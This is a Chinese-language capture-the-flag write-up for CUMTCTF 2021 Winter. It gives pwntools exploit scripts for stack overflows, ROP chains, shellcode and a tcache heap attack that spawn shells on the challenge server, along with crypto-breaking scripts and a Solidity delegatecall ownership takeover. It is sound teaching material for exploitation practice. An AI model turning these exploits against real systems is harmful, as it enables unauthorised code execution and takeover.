CUMTCTF2021 Winter 部分wp

0x00 前言

寒假7天乐,hxdm去实习了,就我一个带闲人,加上我也出了俩题,就没打,不过抽空上去做了做题目

主要看了密码和misc,跟着炜哥学了一点智能合约,还是挺有收获的

0x01 PWN

1.pwn1

简单ROP,,,貌似程序提供的栈地址没什么用,,,可以直接泄露got地址

但本着充分利用题目所给条件的原则,可以选择泄露栈地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
elf=ELF('./pwn1')
libc = ELF('libc6-i386_2.23-0ubuntu11.2_amd64.so')
# p = elf.process()
context.log_level = 'debug'
p = remote('219.219.61.234',40000)

printf_plt=elf.plt['printf']
read_got=elf.got['read']
main_addr=0x080484EB
info("printf_plt = " + hex(printf_plt))
p.recv()
# buf = int((p.recvline().strip('\n'))[-8:],16)
# info("buf : "+ hex(buf))
# payload=28*'a'+'b'*4+ p32(printf_plt)+p32(main_addr)+p32(buf+0x30)
payload=28*'a'+'b'*4+ p32(printf_plt)+p32(main_addr)+p32(read_got)
p.sendline(payload)
# libc_base=u32(p.recv(4)) - libc.sym['__libc_start_main'] -247
libc_base=u32(p.recv(4)) - libc.sym['read']
info("libc_base : " + hex(libc_base))
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
payload2=0x1c*'a'+p32(0)+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()
#CUMTCTF{97a866db5e67c9cc6a553e211}

2.easystack

还记得你当年名字叫start,怎么就改名了呢/滑稽

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = "debug"
# p = process('./easystack')
p = remote('219.219.61.234',20002)
payload = 'A'*0x10 + p32(0x8048087)
p.sendafter("winter:",payload)
esp = u32(p.recv(4))
info(hex(esp))
print 'esp: '+hex(esp)
shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
#shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
payload = 'A'*0x10 + p32(esp+0x10) + shellcode
p.sendline(payload)
p.interactive()

#CUMTCTF{Hello_pwn_this_is_stack_overfl0w}

3.pwn3

最基础的栈迁移,没canary并且程序告诉了栈地址,迁移到栈上即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level="debug"
# context.arch='amd64'
elf=ELF('./pwn3')
# p=elf.process()
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=remote("219.219.61.234",40001)

leave_ret=0x0000000000400896
pop_rdi=0x0000000000400963
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.recvuntil("a present:0x")
stack=int((p.recvline().strip('\n')),16)
info(hex(stack))

payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt) +p64(0x400898)
payload+=p64(stack-8)+p64(leave_ret)
p.send(payload)
p.recv()
libc_base =u64(p.recvline().strip('\n')[-6:].ljust(8,"\x00")) - libc.sym['puts']
info(hex(libc_base))
system=libc_base+libc.sym['system']
binsh =libc_base + libc.search('/bin/sh\x00').next()
p.recvuntil("a present:0x")
stack=int((p.recvline().strip('\n')),16)
info(hex(stack))

payload2=p64(pop_rdi) +p64(binsh)+p64(system)+p64(0x400898)
payload2+=p64(stack-8)+p64(leave_ret)
p.send(payload2)
p.interactive()
#CUMTCTF{22e369b8e6a571db987cec98}

4.pwnvm

虚拟机+栈溢出+沙盒orwimage-20210130171347058

见2020_9月博客==>vmpwn

5.pwn8

利用uaf漏洞,分割unsortedbin,通过构造获得fastbin,没有输出函数,爆破stdout泄露libc基址,最后将fd改为malloc_hook-0x23,从而将malloc_hook改为onegadget getshell

image-20210130170848487

详细见2020_11月博客==>上海赛wp

6.babyheap

主要在于tcache块的构造,思想并不难但是试过好几种方法,并没找到特别取巧的思路

本题特点在于用realloc分配,并且只有一个全局变量存储,所以add和delete总是要成对出现

漏洞在add时有个offbyone,所以可以构造堆重叠,然后通过一系列的overlap来修改fd指针并申请到stdout,爆破泄露出libc基址,因为我们关闭了stdout,所以我们要用输出重定向 1>&2,然后修改free_hook为system即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# encoding=utf-8
from pwn import *
elf = ELF('./babyheap')
# context.log_level = "debug"
libc = ELF('/home/ld1ng/tools/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')

def add(size, content="\n"):
p.sendlineafter("choice:", "1")
p.sendlineafter("Size:", str(size))
p.sendafter("Data:", content)

def delete():
p.sendlineafter("choice:", "1")
p.sendlineafter("Size:", str(0))

def add2(size, content="\n"):
p.sendline("1")
sleep(0.1)
p.sendline(str(size))
sleep(0.1)
p.send(content)
sleep(0.1)

def delete2():
p.sendline("1")
sleep(0.1)
p.sendline(str(0))
sleep(0.1)

def colse1():
p.sendlineafter("choice:", "2")

DSZIE = 0x4f0
while True:
p = elf.process()
# p = remote('219.219.61.234',20030)
for i in range(6):
add(DSZIE)
add(0x80)
delete()

add(DSZIE)
add(0xa8)
delete()

add(DSZIE)
add(0x80)
delete()

add(DSZIE)
add(0x28)
delete()

add(DSZIE)
add(0x28)
delete()

add(DSZIE)
add(0x48)
delete()

add(DSZIE)
add(0x28)
delete()

add(0x3c0)
add(0x80)
delete()
#unsortedbin
add(0xa8, "a" * 0xa8 + "\xf1")
delete()

add(0x88)
delete()
# gdb.attach(p)
add(0xe8, "a" * 0x98 + p64(0x21) + "\x00" * 0x18 + p64(0x21) + "\xe0")
delete()

add(0x48, "a" * 0x48 + "\xc1")
delete()
add(0x28)
delete()
add(0xb8, "a" * 0x28 + p64(0x91) + '\x60\x07\xdd')
delete()
gdb.attach(p)
add(0xe8, "a" * 0x98 + p64(0x21) + "\x00" * 0x18 + p64(0x41))
delete()

add(0x28)
delete()
add(0x28)
delete()
try:
add(0x28, p64(0xfbad3887) + p64(0) * 3 + "\x00")
p.recvuntil(p64(0xfbad3887), timeout=1)
# gdb.attach(p)
p.recv(0x18)
libc_base = u64(p.recv(8)) - 0x3ec700
libc.address = libc_base
info ("libc_base : " + hex(libc.address))
if "\x7f" in p64(libc.address):
break
except EOFError:
p.close()
continue
colse1()
p.recvuntil("Bye")
payload = "a" * 0x98 + p64(0x21) + "\x00" * 0x18 + p64(0x61) + p64(libc.sym['__free_hook'] - 0x18) + b"\n"
add2(0xe8, payload)
delete2()

add2(0x38)
delete2()
payload2 = "exec /bin/sh 1>&2\0".ljust(0x18, "\x00") + p64(libc.sym['system']) + "\n"
add2(0x38, payload2)
delete2()

p.interactive()

爆破两位1/256的概率,脸太黑了远程没爆出来,不过本地测试成功

image-20210131014951959

reference:

湖湘杯2020wp

7.pwnserver

一道模拟服务器的题目

本来是想把ptrace(PTRACE_TRACEME, 0, 0, 0)反调试关掉的,PIE也关掉,放出来玩玩的,结果不知道是dockerfile有问题还是环境有问题,自己远程都没打通,再加上7天大家应该都累了,就没放😂

0x02 CRYPTO

1.简单的RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
from secret import flag
def keygen(nbit):
while True:
p, q, r = [getPrime(nbit) for i in range(3)]
if isPrime(p + q + r):
pkey = (p * q * r, p + q + r)
privtekey = (p, q, r)
return pkey, privtekey
def encrypt(msg, pubkey):
enc = pow(bytes_to_long(msg.encode('utf-8')), 4097, pkey[0] * pkey[1])
return enc

pkey, _ = keygen(512)
enc = encrypt(flag, pkey)
print('pkey =', pkey)
print('enc =', enc)

靠着Google的力量

image-20210125222440426

总的来说就是如果flag足够小,以至于可以认为能够只用key2(p+q+r质因子)解密,这样就是可以很快解出答案

脚本如下

1
2
3
4
5
6
7
8
from Crypto.Util.number import *

pubkey = (1251709577626510958494791062667676243734790366011491246986675733462349082344175537453771621121071766669797697717917746631186730725083409823551331041259926857211364206399038556008882780372855437508183600896784538740213036545604184332069924635733237483487108196741742913693788926280985195680223402990853248300811764270645645433228544946675281537724600096480759192450265887279376728709415106679135570449965771369087189818628308500388459719506931876195584599535690337, 33168381182273613039378043939021834598473369704339979031406271655410089954946280020962013567831560156371101600701016104005421325248601464958972907319520487)
enc = 15648371218931722790904370162434678887479860668661143723578014419431384242698608484519131092011871609478799077215927112238954528656254346684710581567304227780228595294264728729958171950314042749100472064919234676544341981418897908716041285489451559413615567610248062182987859379618660273180094632711606707044369369521705956617241028487496003699514741969755999188620908457673804851050978409605236834130689819372028797174206307452231481436775711682625666741103384019125790777595493607264935529404041668987520925766499991295444934206081920983461246565313127213548970084044528257990347653612337100743309603015391586841499

d = inverse(0x1001, pubkey[1]-1)
print(long_to_bytes(pow(enc, d, pubkey[1])))
#CUMTCTF{54def9aa832be5c6e77d213c6d5}

2.乱写的密码

人要看傻了,@文桑

程序逻辑就是随机编排了字母表,实在没想出方法,试试统计分析

看到krveked{fwgzszymyeu_eql0wu1trtldrm}

盲猜开头是cumtctf,然后根据正文的双字母及三字母的组合猜测对应关系

得到flag: cumtctf{probability_the0ry1suseful}////吐血

方法太蠢了,坐等官方wp…

3.出来签到啦

两关,第一关是AES_CBC,刚考完密码,又复习了一遍😂

1
2
3
4
5
6
7
8
9
key = "19e6855d293a1b76ff44f18948b19bad"
plainText = "Can_You_Find_me?"
IV=?
flag=?
aes = AES.new(key, AES.MODE_CBC, iv)
aes1 = AES.new(key, AES.MODE_CBC, iv)
cipherText1=aes.encrypt(plainText)
cipherText=aes1.encrypt(flag)
#flag为下一关的密码

现在已知cipherText、cipherText1和key,只要求出IV即可得到flag

这里可以回顾一下刚刚过去的密码学课本,写几个式子直观一点,

(一开始还手写,后来学会用公式块方便了很多(。・∀・)ノ)

C1=E(P1IV)C1 = E(P1 ⊕ IV)

P1=D(C1)IVP1 = D(C1) ⊕ IV

这里我们要做的是伪造一个fakeIV,可得

fakeP=D(C1)fakeIVfakeP = D(C1) ⊕ fakeIV

D(C1)=fakePfakeIVD(C1) = fakeP ⊕ fakeIV

D(C1)=P1IV∵ D(C1) = P1 ⊕ IV

IV=fakePfakeIVP1∴ IV = fakeP ⊕ fakeIV ⊕ P1

所以脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES

key = "19e6855d293a1b76ff44f18948b19bad".decode("hex")
cipherText1 = "97FB685D28FC895BB1617CDA1E6C4D76".decode("hex")
cipherText = "D0EC67CCCF6B2BB057C4FAA168FA670C12CBB3D5D058968FF60426F95344A84B".decode("hex")
# print type(cipherText1)
# print cipherText
plainText = "Can_You_Find_me?"
fakeIV = "0123456789abcdef"
fAes = AES.new(key, AES.MODE_CBC, fakeIV)
fakeP = fAes.decrypt(cipherText1)
iv = ""
for i in range(16):
iv += chr(ord(fakeP[i])^ord(fakeIV[i])^ord(plainText[i]))
aes = AES.new(key, AES.MODE_CBC, iv)
flag = aes.decrypt(cipherText)
print flag
#key{OhOh_You_Find_It}!!!!!!!!!!!

输入口令OhOh_You_Find_It,打开challenge2

是一个线性反馈移位寄存器,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
flag = "bxsyyds{xxxxxxx}
assert flag.startswith("bxsyyds{")
assert flag.endswith("}")
assert len(flag)==16

def lfsr(R,mask):
output = (R << 1) & 0xfffffff
i=(R&mask)&0xfffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)

R=int(flag[8:-1],16)
mask=0b1001000000100000001000100101
f=open("result","w")
for i in range(100):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.write(chr(tmp))
f.close()

简单来说就是每一时刻的序列与mask按位与之后的结果逐位异或,放在序列末尾,首字母输出,就这样每8位输出一个字节写入result,共100个字节

很明显寄存器长度为28(7个字节),并且很容易得到反馈函数,(1&any = any ; 0^any = any )

所以lastbit实质上就是当前序列对应mask位的值进行异或,而我们已知输出序列的前27位,即可求出flag的最后一位,以此类推,最后即可得到完整flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mask = '1001000000100000001000100101'
result = '1000000101111010010001111100'

tmp = result
R = ''
for i in range(28):
output = '0' + result[:27]
lastbit = int(tmp[-1-i])^int(output[-1])^int(output[-3])^int(output[-6])^int(output[-10])^int(output[-18])^int(output[-25])
R += str(lastbit)
result = str(lastbit) + result[:27]

R = hex(int(R[::-1],2))[2:]
flag = "cumtctf{" + R + "}"
print flag
#cumtctf{5201314}

4.fakeRSA

题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = 65537

with open('./flag.txt', 'r') as r:
flag = r.read()
flag = flag.split(' ')
cipher = []
for word in flag:
tmp_cipher = []
for char in word:
tmp_cipher.append(pow(ord(char), e, n))
cipher.append(tmp_cipher)

with open('./cipher.txt', 'w+') as w:
w.write('cipher = ' + str(cipher))
w.write('\nn = ' + str(n))
w.write('\ne = ' + str(e))
w.write('\n众所周知,RSA属于公钥密码算法,那么加解密就只需要用到公钥,没有什么问题')

cipher是个二维数组,两两一组,很奇怪(其实就是对明文每个字母分别加密)

没管那么多,直接对所有密文爆破

在可见字符范围内,数量并不多

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
n = 12457981652507620082899382981019023150522130836049180768230343208048934250515055225919349467798787130145322363535840724320789633007392777695461819640437560640209852226105362332801576692429778616279117389786582662174560154469003170305006785551902344355335769435756760811102857819829329033582792826564656344565450265474296871162147060177241714540253604539780517460406770813062769099245157298730033826355717057929207255864286698539967655185399554949075313213370119868838885318633758295272070101734349060701723266336600294581259003531484934286818352843046724120072304901058035864828216652283864232249168467598307241102541
e = 65537
with open('1.txt' , 'r') as f:
c = f.read().split(',')
c = [int(i) for i in c]
flag = ''
for cipher in c:
for i in range(48,127):
if pow(i , e , n) == cipher:
flag += chr(i)
break
print(flag)

image-20210128001412466

5.Pocketbook

nc 过去

1
2
3
[$] Welcome to CUMTCTF'winter
[+] sha256(AuQVuDXG+?).binary.endswith('00000')
[-] ?=

sha256只爆破最后一位即可,通过验证后进入是一个交易系统

1
2
3
4
1. Transfer //交易
2. View transaction information //查看交易单号
3. Submit transaction information to me //提交单号
4. get flag(pay 10000) //买flag

出生10块钱,赚够10000就可以买flag

这里要做是就是伪造单号,48位的单号16位一组可以分为3组,分别是sender/receiver/amount

可以先自己给ljzjsc转10块钱,然后获得自己的单号,然后在看其他单号分别截取下来,就可以拼凑出新的伪造好的单号,然后反复提交,直到赚够10000即可

思路很简单,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from pwn import *
# context.log_level = 'debug'
p = remote('219.219.61.234',20040)
p.recvuntil('(')
m = str(p.recv(8))
# print m
dic="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
for i in dic:
s = m+i
h=str(bin(int(hashlib.sha256(s).hexdigest(),16))[2:])
if h.endswith('00000'):
print(i)
p.sendline(i)
break
p.recvuntil('name')
print('login success')
p.sendline('ld1ng')
p.sendline('1')
p.sendline('ljzjsc')
p.sendline('10')
p.recvuntil('hash:')
record = str(p.recv()).strip('\n')
recevier = record[:16]

p.sendline('2')
record = str(p.recvline())
fakerecord = ''
fakerecord+=record[:16] + recevier + record[32:]
print "sender: " + record[:16]
print 'recevier: '+ recevier
print 'amount: '+ record[32:]
print "fakerecord: " + fakerecord

while(1):
p.recvuntil("Account Balance:")
balance = p.recvline()
print balance
p.sendline('3')
p.send(fakerecord)
if(int(balance)>=10000):
break
p.interactive("$ld1ng")

坐等余额变为10000就行

image-20210128185332741

6.ezRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from gmpy2 import *
from secret import *

# tip: 2*x*y*beta + x + y
if is_prime(beta) and len(bin(beta)[2:]) == 512:
if len(bin(x)[2:]) == len(bin(y)[2:]) :
p = 2 * x * beta + 1
q = 2 * y * beta + 1
if is_prime(p) and is_prime(q):
n = p * q
e = 65537
m = bytes_to_long(flag.encode())
enc = powmod(m, e, n)
print(n)
print(e)
print(beta)
print(enc)
# n=
# e=
# beta=
# enc=

这里可以得到这些等价关系

n=pq=4xyβ2+2xβ+2yβ+1n=pq=4xyβ^2+2xβ+2yβ+1

tip=2xyβ+x+ytip = 2xyβ + x + y

tip=n1/2β∴tip = n-1/2β

tipx+y(modβ)=x+y+kβtip ≡ x+y(mod β) = x+y+kβ

所以,可以爆破k得出x,y的值,进而得到φ(n)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from gmpy2 import *
n =
e = 65537
enc =
beta =
tip = (n-1)//(2*beta)
for k in range(10000):
x_add_y = tip % beta + beta*k
x_mul_y = (tip - x_add_y)//(2*beta)
try:
x_sub_y = iroot(x_add_y**2 - 4*x_mul_y,2)
if x_sub_y[1]:
y = (x_add_y - x_sub_y[0] )//2
x = x_add_y - y
p = 2*y*beta + 1
q = 2*x*beta + 1
phi = (p-1)*(q-1)
d = inverse(e,int(phi))
print (long_to_bytes(pow(enc,d,n)))
except:
pass
#CUMTCTF{2cbbebe1-79d1-4733-8a8f-53f4396476d3}

0x03 MISC

1.大鸟转转转

gif图片,用工具一帧一帧翻就行

image-20210125225811863

话说,少了个F谁发现了!

2.没别的意思给你签个到顺便给你看看我老婆

不用看都知道是谁出的题啊喂@ljzjsc

image-20210125230306456

3.程序软件工程师

base64隐写,都是脚本的锅,害得我动调了半天

image-20210127190129651

4.夜之城之王

V哥亲自录视频,一开始就是lmhash爆破,但是36的14次方太大了,我的小电脑吃不消,于是放弃了

好在出题人给了6位的提示,再加上本人0.5倍速的细心观察,很容易找到一些线索,于是3个字的爆破可以说秒出结果😂

1
2
3
4
5
6
7
8
9
10
11
12
13
import passlib.hash;
dic = "1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
m = ''
for a in dic:
for b in dic:
for c in dic:
m ="1999FLAG"+a+b+c+"7er"
if(passlib.hash.lmhash.encrypt(m)=="32b2e7cfe24f673139251c6f310dee73"):
print("passwd is : " + m)
print("success!")
exit(0)
print("NO RESULT")
#passwd is :1999FLAG1227er

5.helloBlockchain

智能合约的交互,开始我的钱包没钱一直无法部署,多亏ljzjsc推荐了一个新的水龙头

image-20210129100729118

我的钱包才终于有了一块钱

image-20210129100855009

然后题目是这样的,给了源码,

1
2
3
4
5
6
7
8
9
10
pragma solidity ^0.5.13;

contract HelloWorld {
string hello = "Welcome to cumtctfwinter!!! You will find this so easy ~ Happy happy :D";
event SendFlag(string email);
function getflag(string memory email) public returns(string memory){
emit SendFlag(email);
return hello;
}
}

getflag方法传入参数(这里是邮箱),就可以触发SendFlag事件,就可以得到flag了

首先要部署自己的合约,然后在At Address处填入目标合约

image-20210129101518304

可以去查看目标合约的交易记录,

image-20210129101755349

成功后到自己邮箱查看即可

image-20210129101207405

6.easyblock

同样的环境,也提供了合约源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.4.23;
contract hanker {
address public owner;
address public nameContract;
uint hellocumtname;
string hello = "Welcome to cumtctfwinter!!! You will find this so easy ~ Happy happy :D";
event SendFlag(string email);
bytes4 constant set = bytes4(keccak256("changename(uint256)"));
constructor() public {
nameContract = 0x746C5707Bfd8a4Be44332F21AC78A28e9340a9F4;
owner = msg.sender;
}

function getflag(string memory email) public{
require(msg.sender == owner);
emit SendFlag(email);
}

function setname(uint _namenow) public {
nameContract.delegatecall(set, _namenow);
}
}

contract nameContract {
uint hellocumtname;
function changename(uint _name) public {
hellocumtname = _name;
}
}

这里的危险函数是delegatecall

delegatecall:调用后内置变量msg 的值不会修改为调用者,但执行环境为调用者的运行环境。(相当于复制被调用者的代码到调用者合约)

出题人是这样解释的:

image-20210129212600390

所以说当调用nameContract合约的changename时,改变的并不是本合约内的hellocumtname变量,而是将owner地址改变(我以为要想办法执行构造函数所以一直在尝试合约实例化),

那既然这样就可以通过changename方法输入自己的地址,这样owner变量就被我们修改了

然后执行getflag方法即可。

ps:当时油不够怎么也发不出去,然后提了limit之后就可以了

image-20210129211902253

7.backdoor

wireshark抓包就行,flag是个ip地址

0x04 REVERSE

1.re1

image-20210126180032593

关键函数,很明显的base58的特征,直接工具解

image-20210126180126919

2.re2

手动脱壳,用x32dbg出了一点问题,脱完没法运行

img

加密逻辑很复杂,直接进入最后的比较函数

image-20210126171357756

很明显加密后数据和内存数据进行比较,那么只要知道加密逻辑就可以了

这里选择动调,由于当时脱壳没脱好,于是乎我直接用带壳的程序调试

内存数据:

image-20210126171702705

输入32个’a’之后的加密数据:

image-20210126171810196

image-20210126171932577

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

s = [0x1A, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x14, 0x00,
0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x1A, 0x00, 0x00, 0x00,
0x0D, 0x00, 0x00, 0x00, 0x1F, 0x00, 0x00, 0x00, 0x22, 0x00,
0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00,
0x2F, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x06, 0x00,
0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00,
0x17, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x1F, 0x00,
0x00, 0x00, 0x69, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x69, 0x00,
0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x3D, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00,
0x78, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00]
for i in range(0,len(s),4):
print(chr(s[i]^89),end = "")
#CUMTCTF{Have_fuN_F0R_H0liday!!!}

3.re5–game

挺有意思的题目

长时间不做逆向,连花指令都忘了,就长这样,看到jnz一个地址+2,应该很容易想到的我丢

image-20210130162118817

于是去了花之后,IDA恢复正常

逆向题全是去了符号表的比较难受,逻辑不是很复杂,大体是这样的:

你的输入两两一组,相当于一个坐标,程序会根据你的坐标去一个10*10的map里找,取出相应的字母拼接,每5个字母为1组,然后加上’@'进行分割,将这些字符放入一个指定内存,在主函数中会重新将这些字符放入栈中进行操作,最后的check函数算有两个,第一个check会比较每5个一组的字符串与第几个偏移的内存数据相同,会记下下标,并在另一个字典中按这个下标取出字母,直到所有比较结束,将根据你输入得到的字符串与字符串johnnysilverhand进行比较,若相同则输出flag

这题有多种解法,我的方法是横坐标恒取0,即可绕过判断

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
qu='abcdefghijklmnopqrstuvwxyz!.?*'
chk='johnnysilverhand'
dic['CFUMT','CFUTM','CTFMU','CTFUM','CTMFU','FCMTU','FCMUT','FCUTM','FMCTU','FTMUC','FTUCM','FTUMC','FUCMT','FUTCM','FUTMC','MCFTU','MUCFT','MUCTF','MUTCF','TUCFM','TUCMF','TUFMC','TUMCF','TUMFC','UCFMT','UCMFT','UCMTF','UCTFM','UTMCF','UTMFC']
#print(len(qu))
dic2=[0x41,0x5A,0x54,0x55,0x59,0x50,0x46,0x51,0x41,0x5A,
0x55,0x49,0x56,0x5A,0x56,0x43,0x52,0x41,0x41,0x49,
0x44,0x41,0x5A,0x4D,0x56,0x49,0x41,0x43,0x5A,0x44,
0x48,0x5A,0x48,0x5A,0x48,0x56,0x49,0x48,0x41,0x49,
0x48,0x44,0x4D,0x46,0x55,0x54,0x55,0x54,0x44,0x49,
0x4D,0x55,0x43,0x4D,0x5A,0x46,0x54,0x48,0x44,0x48,
0x56,0x44,0x56,0x42,0x44,0x48,0x56,0x4D,0x41,0x43,
0x5A,0x46,0x55,0x54,0x42,0x44,0x43,0x52,0x42,0x44,
0x46,0x41,0x42,0x42,0x43,0x44,0x52,0x49,0x52,0x49,
0x43,0x42,0x54,0x44,0x46,0x49,0x56,0x44,0x42,0x52]
idx = []
for ch in chk:
for i in range(30):
if(qu[i]==ch):
idx.append(i)

# print(len(dic2))
for i in range(len(idx)):
print ("")
print (dic[idx[i]],end = " ")
for j in range(5):
for k in range(len(dic2)):
if (dic[idx[i]][j]==chr(dic2[k])):
print ("0"+chr(k+0x30),end = ' ')
break

image-20210130163403626

对了记录一个奇怪的坑点

一开始我并不知道这题要nc,所以我就在本地测试,当我输入答案之后字符串没问题

这是在栈中的自己生成的字符串:

image-20210130163935188

这是在内存中的check字符串:

image-20210130164118228

但是最后调用strcmp时,rdi却只取了前8个字节的字符串

image-20210130164233618

所以最后比较就没有通过,挺离谱的,存疑

0x05 小结

太菜了…抽空复现一下其他题😂